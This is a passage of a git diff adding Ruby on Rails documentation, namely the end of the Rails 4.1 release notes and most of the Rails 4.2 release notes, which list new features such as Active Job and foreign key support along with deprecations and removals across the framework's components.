overwrite an existing, + named where condition. ([Commit](https://github.com/rails/rails/commit/f950b2699f97749ef706c6939a84dfc85f0b05f2)) + +* Extended `ActiveRecord::Base#cache_key` to take an optional list of timestamp + attributes of which the highest will be used. ([Commit](https://github.com/rails/rails/commit/e94e97ca796c0759d8fcb8f946a3bbc60252d329)) + +* Added `ActiveRecord::Base#enum` for declaring enum attributes where the values + map to integers in the database, but can be queried by + name. ([Commit](https://github.com/rails/rails/commit/db41eb8a6ea88b854bf5cd11070ea4245e1639c5)) + +* Type cast json values on write, so that the value is consistent with reading + from the database. ([Pull Request](https://github.com/rails/rails/pull/12643)) + +* Type cast hstore values on write, so that the value is consistent + with reading from the database. ([Commit](https://github.com/rails/rails/commit/5ac2341fab689344991b2a4817bd2bc8b3edac9d)) + +* Make `next_migration_number` accessible for third party + generators. ([Pull Request](https://github.com/rails/rails/pull/12407)) + +* Calling `update_attributes` will now throw an `ArgumentError` whenever it + gets a `nil` argument. More specifically, it will throw an error if the + argument that it gets passed does not respond to to + `stringify_keys`. ([Pull Request](https://github.com/rails/rails/pull/9860)) + +* `CollectionAssociation#first`/`#last` (e.g. `has_many`) use a `LIMIT`ed + query to fetch results rather than loading the entire + collection. ([Pull Request](https://github.com/rails/rails/pull/12137)) + +* `inspect` on Active Record model classes does not initiate a new + connection. This means that calling `inspect`, when the database is missing, + will no longer raise an exception. ([Pull Request](https://github.com/rails/rails/pull/11014)) + +* Removed column restrictions for `count`, let the database raise if the SQL is + invalid. ([Pull Request](https://github.com/rails/rails/pull/10710)) + +* Rails now automatically detects inverse associations. If you do not set the + `:inverse_of` option on the association, then Active Record will guess the + inverse association based on heuristics. ([Pull Request](https://github.com/rails/rails/pull/10886)) + +* Handle aliased attributes in ActiveRecord::Relation. When using symbol keys, + ActiveRecord will now translate aliased attribute names to the actual column + name used in the database. ([Pull Request](https://github.com/rails/rails/pull/7839)) + +* The ERB in fixture files is no longer evaluated in the context of the main + object. Helper methods used by multiple fixtures should be defined on modules + included in `ActiveRecord::FixtureSet.context_class`. ([Pull Request](https://github.com/rails/rails/pull/13022)) + +* Don't create or drop the test database if RAILS_ENV is specified + explicitly. ([Pull Request](https://github.com/rails/rails/pull/13629)) + +* `Relation` no longer has mutator methods like `#map!` and `#delete_if`. Convert + to an `Array` by calling `#to_a` before using these methods. ([Pull Request](https://github.com/rails/rails/pull/13314)) + +* `find_in_batches`, `find_each`, `Result#each` and `Enumerable#index_by` now + return an `Enumerator` that can calculate its + size. ([Pull Request](https://github.com/rails/rails/pull/13938)) + +* `scope`, `enum` and Associations now raise on "dangerous" name + conflicts. ([Pull Request](https://github.com/rails/rails/pull/13450), + [Pull Request](https://github.com/rails/rails/pull/13896)) + +* `second` through `fifth` methods act like the `first` + finder. ([Pull Request](https://github.com/rails/rails/pull/13757)) + +* Make `touch` fire the `after_commit` and `after_rollback` + callbacks. ([Pull Request](https://github.com/rails/rails/pull/12031)) + +* Enable partial indexes for `sqlite >= 3.8.0`. + ([Pull Request](https://github.com/rails/rails/pull/13350)) + +* Make `change_column_null` + revertible. ([Commit](https://github.com/rails/rails/commit/724509a9d5322ff502aefa90dd282ba33a281a96)) + +* Added a flag to disable schema dump after migration. This is set to `false` + by default in the production environment for new applications. + ([Pull Request](https://github.com/rails/rails/pull/13948)) + +Active Model +------------ + +Please refer to the +[Changelog](https://github.com/rails/rails/blob/4-1-stable/activemodel/CHANGELOG.md) +for detailed changes. + +### Deprecations + +* Deprecate `Validator#setup`. This should be done manually now in the + validator's constructor. ([Commit](https://github.com/rails/rails/commit/7d84c3a2f7ede0e8d04540e9c0640de7378e9b3a)) + +### Notable changes + +* Added new API methods `reset_changes` and `changes_applied` to + `ActiveModel::Dirty` that control changes state. + +* Ability to specify multiple contexts when defining a + validation. ([Pull Request](https://github.com/rails/rails/pull/13754)) + +* `attribute_changed?` now accepts a hash to check if the attribute was changed + `:from` and/or `:to` a given + value. ([Pull Request](https://github.com/rails/rails/pull/13131)) + + +Active Support +-------------- + +Please refer to the +[Changelog](https://github.com/rails/rails/blob/4-1-stable/activesupport/CHANGELOG.md) +for detailed changes. + + +### Removals + +* Removed `MultiJSON` dependency. As a result, `ActiveSupport::JSON.decode` + no longer accepts an options hash for `MultiJSON`. ([Pull Request](https://github.com/rails/rails/pull/10576) / [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling)) + +* Removed support for the `encode_json` hook used for encoding custom objects into + JSON. This feature has been extracted into the [activesupport-json_encoder](https://github.com/rails/activesupport-json_encoder) + gem. + ([Related Pull Request](https://github.com/rails/rails/pull/12183) / + [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling)) + +* Removed deprecated `ActiveSupport::JSON::Variable` with no replacement. + +* Removed deprecated `String#encoding_aware?` core extensions (`core_ext/string/encoding`). + +* Removed deprecated `Module#local_constant_names` in favor of `Module#local_constants`. + +* Removed deprecated `DateTime.local_offset` in favor of `DateTime.civil_from_format`. + +* Removed deprecated `Logger` core extensions (`core_ext/logger.rb`). + +* Removed deprecated `Time#time_with_datetime_fallback`, `Time#utc_time` and + `Time#local_time` in favor of `Time#utc` and `Time#local`. + +* Removed deprecated `Hash#diff` with no replacement. + +* Removed deprecated `Date#to_time_in_current_zone` in favor of `Date#in_time_zone`. + +* Removed deprecated `Proc#bind` with no replacement. + +* Removed deprecated `Array#uniq_by` and `Array#uniq_by!`, use native + `Array#uniq` and `Array#uniq!` instead. + +* Removed deprecated `ActiveSupport::BasicObject`, use + `ActiveSupport::ProxyObject` instead. + +* Removed deprecated `BufferedLogger`, use `ActiveSupport::Logger` instead. + +* Removed deprecated `assert_present` and `assert_blank` methods, use `assert + object.blank?` and `assert object.present?` instead. + +* Remove deprecated `#filter` method for filter objects, use the corresponding + method instead (e.g. `#before` for a before filter). + +* Removed 'cow' => 'kine' irregular inflection from default + inflections. ([Commit](https://github.com/rails/rails/commit/c300dca9963bda78b8f358dbcb59cabcdc5e1dc9)) + +### Deprecations + +* Deprecated `Numeric#{ago,until,since,from_now}`, the user is expected to + explicitly convert the value into an AS::Duration, i.e. `5.ago` => `5.seconds.ago` + ([Pull Request](https://github.com/rails/rails/pull/12389)) + +* Deprecated the require path `active_support/core_ext/object/to_json`. Require + `active_support/core_ext/object/json` instead. ([Pull Request](https://github.com/rails/rails/pull/12203)) + +* Deprecated `ActiveSupport::JSON::Encoding::CircularReferenceError`. This feature + has been extracted into the [activesupport-json_encoder](https://github.com/rails/activesupport-json_encoder) + gem. + ([Pull Request](https://github.com/rails/rails/pull/12785) / + [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling)) + +* Deprecated `ActiveSupport.encode_big_decimal_as_string` option. This feature has + been extracted into the [activesupport-json_encoder](https://github.com/rails/activesupport-json_encoder) + gem. + ([Pull Request](https://github.com/rails/rails/pull/13060) / + [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling)) + +* Deprecate custom `BigDecimal` + serialization. ([Pull Request](https://github.com/rails/rails/pull/13911)) + +### Notable changes + +* `ActiveSupport`'s JSON encoder has been rewritten to take advantage of the + JSON gem rather than doing custom encoding in pure-Ruby. + ([Pull Request](https://github.com/rails/rails/pull/12183) / + [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling)) + +* Improved compatibility with the JSON gem. + ([Pull Request](https://github.com/rails/rails/pull/12862) / + [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling)) + +* Added `ActiveSupport::Testing::TimeHelpers#travel` and `#travel_to`. These + methods change current time to the given time or duration by stubbing + `Time.now` and `Date.today`. + +* Added `ActiveSupport::Testing::TimeHelpers#travel_back`. This method returns + the current time to the original state, by removing the stubs added by `travel` + and `travel_to`. ([Pull Request](https://github.com/rails/rails/pull/13884)) + +* Added `Numeric#in_milliseconds`, like `1.hour.in_milliseconds`, so we can feed + them to JavaScript functions like + `getTime()`. ([Commit](https://github.com/rails/rails/commit/423249504a2b468d7a273cbe6accf4f21cb0e643)) + +* Added `Date#middle_of_day`, `DateTime#middle_of_day` and `Time#middle_of_day` + methods. Also added `midday`, `noon`, `at_midday`, `at_noon` and + `at_middle_of_day` as + aliases. ([Pull Request](https://github.com/rails/rails/pull/10879)) + +* Added `Date#all_week/month/quarter/year` for generating date + ranges. ([Pull Request](https://github.com/rails/rails/pull/9685)) + +* Added `Time.zone.yesterday` and + `Time.zone.tomorrow`. ([Pull Request](https://github.com/rails/rails/pull/12822)) + +* Added `String#remove(pattern)` as a short-hand for the common pattern of + `String#gsub(pattern,'')`. ([Commit](https://github.com/rails/rails/commit/5da23a3f921f0a4a3139495d2779ab0d3bd4cb5f)) + +* Added `Hash#compact` and `Hash#compact!` for removing items with nil value + from hash. ([Pull Request](https://github.com/rails/rails/pull/13632)) + +* `blank?` and `present?` commit to return + singletons. ([Commit](https://github.com/rails/rails/commit/126dc47665c65cd129967cbd8a5926dddd0aa514)) + +* Default the new `I18n.enforce_available_locales` config to `true`, meaning + `I18n` will make sure that all locales passed to it must be declared in the + `available_locales` + list. ([Pull Request](https://github.com/rails/rails/pull/13341)) + +* Introduce `Module#concerning`: a natural, low-ceremony way to separate + responsibilities within a + class. ([Commit](https://github.com/rails/rails/commit/1eee0ca6de975b42524105a59e0521d18b38ab81)) + +* Added `Object#presence_in` to simplify value whitelisting. + ([Commit](https://github.com/rails/rails/commit/4edca106daacc5a159289eae255207d160f22396)) + + +Credits +------- + +See the +[full list of contributors to Rails](http://contributors.rubyonrails.org/) for +the many people who spent many hours making Rails, the stable and robust +framework it is. Kudos to all of them. diff --git a/guides/source/4_2_release_notes.md b/guides/source/4_2_release_notes.md new file mode 100644 index 0000000000..e8ddfcc9e2 --- /dev/null +++ b/guides/source/4_2_release_notes.md @@ -0,0 +1,852 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + +Ruby on Rails 4.2 Release Notes +=============================== + +Highlights in Rails 4.2: + +* Active Job +* Asynchronous mails +* Adequate Record +* Web Console +* Foreign key support + +These release notes cover only the major changes. To learn about other +features, bug fixes, and changes, please refer to the changelogs or check out +the [list of commits](https://github.com/rails/rails/commits/4-2-stable) in +the main Rails repository on GitHub. + +-------------------------------------------------------------------------------- + +Upgrading to Rails 4.2 +---------------------- + +If you're upgrading an existing application, it's a great idea to have good test +coverage before going in. You should also first upgrade to Rails 4.1 in case you +haven't and make sure your application still runs as expected before attempting +to upgrade to Rails 4.2. A list of things to watch out for when upgrading is +available in the guide [Upgrading Ruby on +Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-4-1-to-rails-4-2). + + +Major Features +-------------- + +### Active Job + +Active Job is a new framework in Rails 4.2. It is a common interface on top of +queuing systems like [Resque](https://github.com/resque/resque), [Delayed +Job](https://github.com/collectiveidea/delayed_job), +[Sidekiq](https://github.com/mperham/sidekiq), and more. + +Jobs written with the Active Job API run on any of the supported queues thanks +to their respective adapters. Active Job comes pre-configured with an inline +runner that executes jobs right away. + +Jobs often need to take Active Record objects as arguments. Active Job passes +object references as URIs (uniform resource identifiers) instead of marshaling +the object itself. The new [Global ID](https://github.com/rails/globalid) +library builds URIs and looks up the objects they reference. Passing Active +Record objects as job arguments just works by using Global ID internally. + +For example, if `trashable` is an Active Record object, then this job runs +just fine with no serialization involved: + +```ruby +class TrashableCleanupJob < ActiveJob::Base + def perform(trashable, depth) + trashable.cleanup(depth) + end +end +``` + +See the [Active Job Basics](active_job_basics.html) guide for more +information. + +### Asynchronous Mails + +Building on top of Active Job, Action Mailer now comes with a `deliver_later` +method that sends emails via the queue, so it doesn't block the controller or +model if the queue is asynchronous (the default inline queue blocks). + +Sending emails right away is still possible with `deliver_now`. + +### Adequate Record + +Adequate Record is a set of performance improvements in Active Record that makes +common `find` and `find_by` calls and some association queries up to 2x faster. + +It works by caching common SQL queries as prepared statements and reusing them +on similar calls, skipping most of the query-generation work on subsequent +calls. For more details, please refer to [Aaron Patterson's blog +post](http://tenderlovemaking.com/2014/02/19/adequaterecord-pro-like-activerecord.html). + +Active Record will automatically take advantage of this feature on +supported operations without any user involvement or code changes. Here are +some examples of supported operations: + +```ruby +Post.find(1) # First call generates and cache the prepared statement +Post.find(2) # Subsequent calls reuse the cached prepared statement + +Post.find_by_title('first post') +Post.find_by_title('second post') + +post.comments +post.comments(true) +``` + +It's important to highlight that, as the examples above suggest, the prepared +statements do not cache the values passed in the method calls; rather, they +have placeholders for them. + +Caching is not used in the following scenarios: + +- The model has a default scope +- The model uses single table inheritance +- `find` with a list of ids, e.g.: + + ```ruby + # not cached + Post.find(1, 2, 3) + Post.find([1,2]) + ``` + +- `find_by` with SQL fragments: + + ```ruby + Post.find_by('published_at < ?', 2.weeks.ago) + ``` + +### Web Console + +New applications generated with Rails 4.2 now come with the [Web +Console](https://github.com/rails/web-console) gem by default. Web Console adds +an interactive Ruby console on every error page and provides a `console` view +and controller helpers. + +The interactive console on error pages lets you execute code in the context of +the place where the exception originated. The `console` helper, if called +anywhere in a view or controller, launches an interactive console with the final +context, once rendering has completed. + +### Foreign Key Support + +The migration DSL now supports adding and removing foreign keys. They are dumped +to `schema.rb` as well. At this time, only the `mysql`, `mysql2` and `postgresql` +adapters support foreign keys. + +```ruby +# add a foreign key to `articles.author_id` referencing `authors.id` +add_foreign_key :articles, :authors + +# add a foreign key to `articles.author_id` referencing `users.lng_id` +add_foreign_key :articles, :users, column: :author_id, primary_key: "lng_id" + +# remove the foreign key on `accounts.branch_id` +remove_foreign_key :accounts, :branches + +# remove the foreign key on `accounts.owner_id` +remove_foreign_key :accounts, column: :owner_id +``` + +See the API documentation on +[add_foreign_key](http://api.rubyonrails.org/v4.2.0/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_foreign_key) +and +[remove_foreign_key](http://api.rubyonrails.org/v4.2.0/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_foreign_key) +for a full description. + + +Incompatibilities +----------------- + +Previously deprecated functionality has been removed. Please refer to the +individual components for new deprecations in this release. + +The following changes may require immediate action upon upgrade. + +### `render` with a String Argument + +Previously, calling `render "foo/bar"` in a controller action was equivalent to +`render file: "foo/bar"`. In Rails 4.2, this has been changed to mean +`render template: "foo/bar"` instead. If you need to render a file, please +change your code to use the explicit form (`render file: "foo/bar"`) instead. + +### `respond_with` / Class-Level `respond_to` + +`respond_with` and the corresponding class-level `respond_to` have been moved +to the [responders](https://github.com/plataformatec/responders) gem. Add +`gem 'responders', '~> 2.0'` to your Gemfile to use it: + +```ruby +# app/controllers/users_controller.rb + +class UsersController < ApplicationController + respond_to :html, :json + + def show + @user = User.find(params[:id]) + respond_with @user + end +end +``` + +Instance-level `respond_to` is unaffected: + +```ruby +# app/controllers/users_controller.rb + +class UsersController < ApplicationController + def show + @user = User.find(params[:id]) + respond_to do |format| + format.html + format.json { render json: @user } + end + end +end +``` + +### Default Host for `rails server` + +Due to a [change in Rack](https://github.com/rack/rack/commit/28b014484a8ac0bbb388e7eaeeef159598ec64fc), +`rails server` now listens on `localhost` instead of `0.0.0.0` by default. This +should have minimal impact on the standard development workflow as both +http://127.0.0.1:3000 and http://localhost:3000 will continue to work as before +on your own machine. + +However, with this change you will no longer be able to access the Rails +server from a different machine, for example if your development environment +is in a virtual machine and you would like to access it from the host machine. +In such cases, please start the server with `rails server -b 0.0.0.0` to +restore the old behavior. + +If you do this, be sure to configure your firewall properly such that only +trusted machines on your network can access your development server. + +### HTML Sanitizer + +The HTML sanitizer has been replaced with a new, more robust, implementation +built upon [Loofah](https://github.com/flavorjones/loofah) and +[Nokogiri](https://github.com/sparklemotion/nokogiri). The new sanitizer is +more secure and its sanitization is more powerful and flexible. + +Due to the new algorithm, the sanitized output may be different for certain +pathological inputs. + +If you have a particular need for the exact output of the old sanitizer, you +can add the [rails-deprecated_sanitizer](https://github.com/kaspth/rails-deprecated_sanitizer) +gem to the `Gemfile`, to have the old behavior. The gem does not issue +deprecation warnings because it is opt-in. + +`rails-deprecated_sanitizer` will be supported for Rails 4.2 only; it will not +be maintained for Rails 5.0. + +See [this blog post](http://blog.plataformatec.com.br/2014/07/the-new-html-sanitizer-in-rails-4-2/) +for more details on the changes in the new sanitizer. + +### `assert_select` + +`assert_select` is now based on [Nokogiri](https://github.com/sparklemotion/nokogiri). +As a result, some previously-valid selectors are now unsupported. If your +application is using any of these spellings, you will need to update them: + +* Values in attribute selectors may need to be quoted if they contain + non-alphanumeric characters. + + ``` + # before + a[href=/] + a[href$=/] + + # now + a[href="/"] + a[href$="/"] + ``` + +* DOMs built from HTML source containing invalid HTML with improperly + nested elements may differ. + + For example: + + ``` ruby + # content: <div><i><p></i></div> + + # before: + assert_select('div > i') # => true + assert_select('div > p') # => false + assert_select('i > p') # => true + + # now: + assert_select('div > i') # => true + assert_select('div > p') # => true + assert_select('i > p') # => false + ``` + +* If the data selected contains entities, the value selected for comparison + used to be raw (e.g. `AT&T`), and now is evaluated + (e.g. `AT&T`). + + ``` ruby + # content: <p>AT&T</p> + + # before: + assert_select('p', 'AT&T') # => true + assert_select('p', 'AT&T') # => false + + # now: + assert_select('p', 'AT&T') # => true + assert_select('p', 'AT&T') # => false + ``` + + +Railties +-------- + +Please refer to the [Changelog][railties] for detailed changes. + +### Removals + +* The `--skip-action-view` option has been removed from the + app generator. ([Pull Request](https://github.com/rails/rails/pull/17042)) + +* The `rails application` command has been removed without replacement. + ([Pull Request](https://github.com/rails/rails/pull/11616)) + +### Deprecations + +* Deprecated missing `config.log_level` for production environments. + ([Pull Request](https://github.com/rails/rails/pull/16622)) + +* Deprecated `rake test:all` in favor of `rake test` as it now run all tests + in the `test` folder. + ([Pull Request](https://github.com/rails/rails/pull/17348)) + +* Deprecated `rake test:all:db` in favor of `rake test:db`. + ([Pull Request](https://github.com/rails/rails/pull/17348)) + +* Deprecated `Rails::Rack::LogTailer` without replacement. + ([Commit](https://github.com/rails/rails/commit/84a13e019e93efaa8994b3f8303d635a7702dbce)) + +### Notable changes + +* Introduced `web-console` in the default application Gemfile. + ([Pull Request](https://github.com/rails/rails/pull/11667)) + +* Added a `required` option to the model generator for associations. + ([Pull Request](https://github.com/rails/rails/pull/16062)) + +* Introduced the `x` namespace for defining custom configuration options: + + ```ruby + # config/environments/production.rb + config.x.payment_processing.schedule = :daily + config.x.payment_processing.retries = 3 + config.x.super_debugger = true + ``` + + These options are then available through the configuration object: + + ```ruby + Rails.configuration.x.payment_processing.schedule # => :daily + Rails.configuration.x.payment_processing.retries # => 3 + Rails.configuration.x.super_debugger # => true + ``` + + ([Commit](https://github.com/rails/rails/commit/611849772dd66c2e4d005dcfe153f7ce79a8a7db)) + +* Introduced `Rails::Application.config_for` to load a configuration for the + current environment. + + ```ruby + # config/exception_notification.yml: + production: + url: http://127.0.0.1:8080 + namespace: my_app_production + development: + url: http://localhost:3001 + namespace: my_app_development + + # config/production.rb + Rails.application.configure do + config.middleware.use ExceptionNotifier, config_for(:exception_notification) + end + ``` + + ([Pull Request](https://github.com/rails/rails/pull/16129)) + +* Introduced a `--skip-turbolinks` option in the app generator to not generate + turbolinks integration. + ([Commit](https://github.com/rails/rails/commit/bf17c8a531bc8059d50ad731398002a3e7162a7d)) + +* Introduced a `bin/setup` script as a convention for automated setup code when + bootstrapping an application. + ([Pull Request](https://github.com/rails/rails/pull/15189)) + +* Changed the default value for `config.assets.digest` to `true` in development. + ([Pull Request](https://github.com/rails/rails/pull/15155)) + +* Introduced an API to register new extensions for `rake notes`. + ([Pull Request](https://github.com/rails/rails/pull/14379)) + +* Introduced an `after_bundle` callback for use in Rails templates. + ([Pull Request](https://github.com/rails/rails/pull/16359)) + +* Introduced `Rails.gem_version` as a convenience method to return + `Gem::Version.new(Rails.version)`. + ([Pull Request](https://github.com/rails/rails/pull/14101)) + + +Action Pack +----------- + +Please refer to the [Changelog][action-pack] for detailed changes. + +### Removals + +* `respond_with` and the class-level `respond_to` have been removed from Rails and + moved to the `responders` gem (version 2.0). Add `gem 'responders', '~> 2.0'` + to your `Gemfile` to continue using these features. + ([Pull Request](https://github.com/rails/rails/pull/16526), + [More Details](http://guides.rubyonrails.org/upgrading_ruby_on_rails.html#responders)) + +* Removed deprecated `AbstractController::Helpers::ClassMethods::MissingHelperError` + in favor of `AbstractController::Helpers::MissingHelperError`. + ([Commit](https://github.com/rails/rails/commit/a1ddde15ae0d612ff2973de9cf768ed701b594e8)) + +### Deprecations + +* Deprecated the `only_path` option on `*_path` helpers. + ([Commit](https://github.com/rails/rails/commit/aa1fadd48fb40dd9396a383696134a259aa59db9)) + +* Deprecated `assert_tag`, `assert_no_tag`, `find_tag` and `find_all_tag` in + favor of `assert_select`. + ([Commit](https://github.com/rails/rails-dom-testing/commit/b12850bc5ff23ba4b599bf2770874dd4f11bf750)) + +* Deprecated support for setting the `:to` option of a router to a symbol or a + string that does not contain a "#" character: + + ```ruby + get '/posts', to: MyRackApp => (No change necessary) + get '/posts', to: 'post#index' => (No change necessary) + get '/posts', to: 'posts' => get '/posts', controller: :posts + get '/posts', to: :index => get '/posts', action: :index + ``` + + ([Commit](https://github.com/rails/rails/commit/cc26b6b7bccf0eea2e2c1a9ebdcc9d30ca7390d9)) + +* Deprecated support for string keys in URL helpers: + + ```ruby + # bad + root_path('controller' => 'posts', 'action' => 'index') + + # good + root_path(controller: 'posts', action: 'index') + ``` + + ([Pull Request](https://github.com/rails/rails/pull/17743)) + +### Notable changes + +* The `*_filter` family of methods have been removed from the documentation. Their + usage is discouraged in favor of the `*_action` family of methods: + + ``` + after_filter => after_action + append_after_filter => append_after_action + append_around_filter => append_around_action + append_before_filter => append_before_action + around_filter => around_action + before_filter => before_action + prepend_after_filter => prepend_after_action + prepend_around_filter => prepend_around_action + prepend_before_filter => prepend_before_action + skip_after_filter => skip_after_action + skip_around_filter => skip_around_action + skip_before_filter => skip_before_action + skip_filter => skip_action_callback + ``` + + If your application currently depends on these methods, you should use the + replacement `*_action` methods instead. These methods will be deprecated in + the future and will eventually be removed from Rails. + + (Commit [1](https://github.com/rails/rails/commit/6c5f43bab8206747a8591435b2aa0ff7051ad3de), + [2](https://github.com/rails/rails/commit/489a8f2a44dc9cea09154ee1ee2557d1f037c7d4)) + +* `render nothing: true` or rendering a `nil` body no longer add a single + space padding to the response body. + ([Pull Request](https://github.com/rails/rails/pull/14883)) + +* Rails now automatically includes the template's digest in ETags. + ([Pull Request](https://github.com/rails/rails/pull/16527)) + +* Segments that are passed into URL helpers are now automatically escaped. + ([Commit](https://github.com/rails/rails/commit/5460591f0226a9d248b7b4f89186bd5553e7768f)) + +* Introduced the `always_permitted_parameters` option to configure which + parameters are permitted globally. The default value of this configuration + is `['controller', 'action']`. + ([Pull Request](https://github.com/rails/rails/pull/15933)) + +* Added the HTTP method `MKCALENDAR` from [RFC 4791](https://tools.ietf.org/html/rfc4791). + ([Pull Request](https://github.com/rails/rails/pull/15121)) + +* `*_fragment.action_controller` notifications now include the controller + and action name in the payload. + ([Pull Request](https://github.com/rails/rails/pull/14137)) + +* Improved the Routing Error page with fuzzy matching for route search. + ([Pull Request](https://github.com/rails/rails/pull/14619)) + +* Added an option to disable logging of CSRF failures. + ([Pull Request](https://github.com/rails/rails/pull/14280)) + +* When the Rails server is set to serve static assets, gzip assets will now be + served if the client supports it and a pre-generated gzip file (`.gz`) is on disk. + By default the asset pipeline generates `.gz` files for all compressible assets. + Serving gzip files minimizes data transfer and speeds up asset requests. Always + [use a CDN](http://guides.rubyonrails.org/asset_pipeline.html#cdns) if you are + serving assets from your Rails server in production. + ([Pull Request](https://github.com/rails/rails/pull/16466)) + +* When calling the `process` helpers in an integration test the path needs to have + a leading slash. Previously you could omit it but that was a byproduct of the + implementation and not an intentional feature, e.g.: + + ```ruby + test "list all posts" do + get "/posts" + assert_response :success + end + ``` + +Action View +----------- + +Please refer to the [Changelog][action-view] for detailed changes. + +### Deprecations + +* Deprecated `AbstractController::Base.parent_prefixes`. + Override `AbstractController::Base.local_prefixes` when you want to change + where to find views. + ([Pull Request](https://github.com/rails/rails/pull/15026)) + +* Deprecated `ActionView::Digestor#digest(name, format, finder, options = {})`. + Arguments should be passed as a hash instead. + ([Pull Request](https://github.com/rails/rails/pull/14243)) + +### Notable changes + +* `render "foo/bar"` now expands to `render template: "foo/bar"` instead of + `render file: "foo/bar"`. + ([Pull Request](https://github.com/rails/rails/pull/16888)) + +* The form helpers no longer generate a `<div>` element with inline CSS around + the hidden fields. + ([Pull Request](https://github.com/rails/rails/pull/14738)) + +* Introduced a `#{partial_name}_iteration` special local variable for use with + partials that are rendered with a collection. It provides access to the + current state of the iteration via the `index`, `size`, `first?` and + `last?` methods. + ([Pull Request](https://github.com/rails/rails/pull/7698)) + +* Placeholder I18n follows the same convention as `label` I18n. + ([Pull Request](https://github.com/rails/rails/pull/16438)) + + +Action Mailer +------------- + +Please refer to the [Changelog][action-mailer] for detailed changes. + +### Deprecations + +* Deprecated `*_path` helpers in mailers. Always use `*_url` helpers instead. + ([Pull Request](https://github.com/rails/rails/pull/15840)) + +* Deprecated `deliver` / `deliver!` in favor of `deliver_now` / `deliver_now!`. + ([Pull Request](https://github.com/rails/rails/pull/16582)) + +### Notable changes + +* `link_to` and `url_for` generate absolute URLs by default in templates, + it is no longer needed to pass `only_path: false`. + ([Commit](https://github.com/rails/rails/commit/9685080a7677abfa5d288a81c3e078368c6bb67c)) + +* Introduced `deliver_later` which enqueues a job on the application's queue + to deliver emails asynchronously. + ([Pull Request](https://github.com/rails/rails/pull/16485)) + +* Added the `show_previews` configuration option for enabling mailer previews + outside of the development environment. + ([Pull Request](https://github.com/rails/rails/pull/15970)) + + +Active Record +------------- + +Please refer to the [Changelog][active-record] for detailed changes. + +### Removals + +* Removed `cache_attributes` and friends. All attributes are cached. + ([Pull Request](https://github.com/rails/rails/pull/15429)) + +* Removed deprecated method `ActiveRecord::Base.quoted_locking_column`. + ([Pull Request](https://github.com/rails/rails/pull/15612)) + +* Removed deprecated `ActiveRecord::Migrator.proper_table_name`. Use the + `proper_table_name` instance method on `ActiveRecord::Migration` instead. + ([Pull Request](https://github.com/rails/rails/pull/15512)) + +* Removed unused `:timestamp` type. Transparently alias it to `:datetime` + in all cases. Fixes inconsistencies when column types are sent outside of + Active Record, such as for XML serialization. + ([Pull Request](https://github.com/rails/rails/pull/15184)) + +### Deprecations + +* Deprecated swallowing of errors inside `after_commit` and `after_rollback`. + ([Pull Request](https://github.com/rails/rails/pull/16537)) + +* Deprecated broken support for automatic detection of counter caches on + `has_many :through` associations. You should instead manually specify the + counter cache on the `has_many` and `belongs_to` associations for the + through records. + ([Pull Request](https://github.com/rails/rails/pull/15754)) + +* Deprecated passing Active Record objects to `.find` or `.exists?`. Call + `id` on the objects first. + (Commit [1](https://github.com/rails/rails/commit/d92ae6ccca3bcfd73546d612efaea011270bd270), + [2](https://github.com/rails/rails/commit/d35f0033c7dec2b8d8b52058fb8db495d49596f7)) + +* Deprecated half-baked support for PostgreSQL range values with excluding + beginnings. We currently map PostgreSQL ranges to Ruby ranges. This conversion + is not fully possible because Ruby ranges do not support excluded beginnings. + + The current solution of incrementing the beginning is not correct + and is now deprecated. For subtypes where we don't know how to increment + (e.g. `succ` is not defined) it will raise an `ArgumentError` for ranges + with excluding beginnings. + ([Commit](https://github.com/rails/rails/commit/91949e48cf41af9f3e4ffba3e5eecf9b0a08bfc3)) + +* Deprecated calling `DatabaseTasks.load_schema` without a connection. Use + `DatabaseTasks.load_schema_current` instead. + ([Commit](https://github.com/rails/rails/commit/f15cef67f75e4b52fd45655d7c6ab6b35623c608)) + +* Deprecated `sanitize_sql_hash_for_conditions` without replacement. Using a + `Relation` for performing queries and updates is the preferred API. + ([Commit](https://github.com/rails/rails/commit/d5902c9e)) + +* Deprecated `add_timestamps` and `t.timestamps` without passing the `:null` + option. The default of `null: true` will change in Rails 5 to `null: false`. + ([Pull Request](https://github.com/rails/rails/pull/16481)) + +* Deprecated `Reflection#source_macro` without replacement as it is no longer + needed in Active Record. + ([Pull Request](https://github.com/rails/rails/pull/16373)) + +* Deprecated `serialized_attributes` without replacement. + ([Pull Request](https://github.com/rails/rails/pull/15704)) + +* Deprecated returning `nil` from `column_for_attribute` when no column + exists. It will return a null object in Rails 5.0. + ([Pull Request](https://github.com/rails/rails/pull/15878)) + +* Deprecated using `.joins`, `.preload` and `.eager_load` with associations + that depend on the instance state (i.e. those defined with a scope that + takes an argument) without replacement. + ([Commit](https://github.com/rails/rails/commit/ed56e596a0467390011bc9d56d462539776adac1)) + +### Notable changes + +* `SchemaDumper` uses `force: :cascade` on `create_table`. This makes it + possible to reload a schema when foreign keys are in place. + +* Added a `:required` option to singular associations, which defines a + presence validation on the association. + ([Pull Request](https://github.com/rails/rails/pull/16056)) + +* `ActiveRecord::Dirty` now detects in-place changes to mutable values. + Serialized attributes on Active Record models are no longer saved when + unchanged. This also works with other types such as string columns and json + columns on PostgreSQL. + (Pull Requests [1](https://github.com/rails/rails/pull/15674), + [2](https://github.com/rails/rails/pull/15786), + [3](https://github.com/rails/rails/pull/15788)) + +* Introduced the `db:purge` Rake task to empty the database for the + current environment. + ([Commit](https://github.com/rails/rails/commit/e2f232aba15937a4b9d14bd91e0392c6d55be58d)) + +* Introduced `ActiveRecord::Base#validate!` that raises + `ActiveRecord::RecordInvalid` if the record is invalid. + ([Pull Request](https://github.com/rails/rails/pull/8639)) + +* Introduced `validate` as an alias for `valid?`. + ([Pull Request](https://github.com/rails/rails/pull/14456)) + +* `touch` now accepts multiple attributes to be touched at once. + ([Pull Request](https://github.com/rails/rails/pull/14423)) + +* The PostgreSQL adapter now supports the `jsonb` datatype in PostgreSQL 9.4+. + ([Pull Request](https://github.com/rails/rails/pull/16220)) + +* The PostgreSQL and SQLite adapters no longer add a default limit of 255 + characters 